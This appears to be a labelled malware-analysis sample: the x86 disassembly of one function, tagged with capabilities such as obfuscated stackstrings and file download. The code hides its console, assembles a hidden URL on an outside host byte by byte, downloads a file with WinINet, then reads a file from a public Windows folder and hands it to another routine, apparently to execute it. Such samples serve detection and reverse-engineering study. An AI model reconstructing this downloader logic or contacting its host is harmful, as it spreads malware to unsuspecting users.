Function at 0x401090
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ffbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x594
push esi
push edi
lea edi, [ebp - 0x5a0]
mov ecx, 0x165
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
call dword [sym.imp.KERNEL32.dll_FreeConsole]
cmp esi, esp
call fcn.0040abe0
mov dword [ebp - 0x10], 0
jmp 0x4010e3
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x4010fc
mov ecx, dword [ebp - 0x10]
push ecx
push 0x431220
call fcn.0040b5c0
add esp, 8
jmp 0x4010da
mov dword [ebp - 0x14], 0
jmp 0x40110e
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 5
jge 0x401127
mov eax, dword [ebp - 0x14]
push eax
push 0x431238
call fcn.0040b5c0
add esp, 8
jmp 0x401105
mov byte [ebp - 0x30], 0x68
mov byte [ebp - 0x2f], 0x74
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x70
mov byte [ebp - 0x2c], 0x3a
mov byte [ebp - 0x2b], 0x2f
mov byte [ebp - 0x2a], 0x2f
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x63
mov byte [ebp - 0x27], 0x2e
mov byte [ebp - 0x26], 0x7a
mov byte [ebp - 0x25], 0x68
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x39
mov byte [ebp - 0x22], 0x31
mov byte [ebp - 0x21], 0x2e
mov byte [ebp - 0x20], 0x63
mov byte [ebp - 0x1f], 0x6e
mov byte [ebp - 0x1e], 0x2f
mov byte [ebp - 0x1d], 0x31
mov byte [ebp - 0x1c], 0x38
mov byte [ebp - 0x1b], 0x34
mov byte [ebp - 0x1a], 0
lea ecx, [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x58]
call fcn.00401790
mov dword [ebp - 4], 0
push 0x431250
lea ecx, [ebp - 0x80]
call fcn.00401790
mov byte [ebp - 4], 1
mov esi, esp
push 0
push 0
push 0
push 1
push str.Download_Example
call dword [sym.imp.WININET.dll_InternetOpenW]
cmp esi, esp
call fcn.0040abe0
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x401220
push 0x401720
push str.InternetOpen_failed
push 0x4405b8
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
mov dword [ebp - 0x56c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401820
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00401820
mov eax, dword [ebp - 0x56c]
jmp 0x4015ea
mov esi, esp
push 0
push 0x80000000
push 0
push 0
lea ecx, [ebp - 0x58]
call fcn.00401880
push eax
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp esi, esp
call fcn.0040abe0
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x4012bd
push 0x401720
push str.InternetOpenUrlA_failed
push 0x4405b8
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
mov esi, esp
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, esp
call fcn.0040abe0
mov dword [ebp - 0x570], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401820
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00401820
mov eax, dword [ebp - 0x570]
jmp 0x4015ea
push 0x4312c4
lea ecx, [ebp - 0x80]
call fcn.00401880
push eax
call fcn.0040b5a0
add esp, 8
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x40135c
push 0x401720
push str.Failed_to_create_local_file
push 0x4405b8
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
mov esi, esp
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, esp
call fcn.0040abe0
mov esi, esp
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, esp
call fcn.0040abe0
mov dword [ebp - 0x574], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401820
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00401820
mov eax, dword [ebp - 0x574]
jmp 0x4015ea
mov dword [ebp - 0x4a0], 0
mov esi, esp
lea eax, [ebp - 0x4a0]
push eax
push 0x400
lea ecx, [ebp - 0x494]
push ecx
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp esi, esp
call fcn.0040abe0
test eax, eax
je 0x4013bd
cmp dword [ebp - 0x4a0], 0
jbe 0x4013bd
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x4a0]
push ecx
push 1
lea edx, [ebp - 0x494]
push edx
call fcn.0040aeb0
add esp, 0x10
jmp 0x401366
mov eax, dword [ebp - 0x90]
push eax
call fcn.0040aca0
add esp, 4
mov esi, esp
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, esp
call fcn.0040abe0
mov esi, esp
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp esi, esp
call fcn.0040abe0
push 0x401720
push str.File_downloaded_successfully
push 0x440510
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
push 1
push 0x40
push 0x24
push str.C:UsersPublicDocumentsgoodle
lea ecx, [ebp - 0x558]
call fcn.00401fd0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x558]
call fcn.00402170
movzx eax, al
test eax, eax
jne 0x40149f
push 0x401720
push str.Failed_to_open_file.
push 0x4405b8
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
mov dword [ebp - 0x578], 1
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x558]
call fcn.00401750
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401820
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00401820
mov eax, dword [ebp - 0x578]
jmp 0x4015ea
lea ecx, [ebp - 0x590]
push ecx
lea ecx, [ebp - 0x558]
call fcn.00401ed0
mov ecx, eax
call fcn.00403980
mov dword [ebp - 0x564], eax
mov dword [ebp - 0x560], edx
push 0
push 0
push 0
lea ecx, [ebp - 0x558]
call fcn.00401e10
mov edx, dword [ebp - 0x564]
push edx
call fcn.00408c70
add esp, 4
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x568], eax
mov ecx, dword [ebp - 0x560]
push ecx
mov edx, dword [ebp - 0x564]
push edx
mov eax, dword [ebp - 0x568]
push eax
lea ecx, [ebp - 0x558]
call fcn.00401c40
mov dword [ebp - 0x598], eax
mov ecx, dword [ebp - 0x598]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x598]
add ecx, dword [edx + 4]
call fcn.004016a0
test eax, eax
je 0x40156c
mov eax, dword [ebp - 0x564]
push eax
mov ecx, dword [ebp - 0x568]
push ecx
call fcn.00401000
add esp, 8
push 0x401720
push 0x431340
push 0x440510
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
jmp 0x40158a
push 0x401720
push str.Failed_to_read_file.
push 0x4405b8
call fcn.00407e50
add esp, 8
mov ecx, eax
call fcn.004018b0
mov edx, dword [ebp - 0x568]
mov dword [ebp - 0x59c], edx
mov eax, dword [ebp - 0x59c]
push eax
call fcn.0040ac80
add esp, 4
lea ecx, [ebp - 0x558]
call fcn.004021a0
mov dword [ebp - 0x5a0], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x558]
call fcn.00401750
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401820
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00401820
mov eax, dword [ebp - 0x5a0]
push edx
mov ecx, ebp
push eax
lea edx, [0x401618]
call fcn.0040ac10
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
add esp, 0x5a0
cmp ebp, esp
call fcn.0040abe0
mov esp, ebp
pop ebp
ret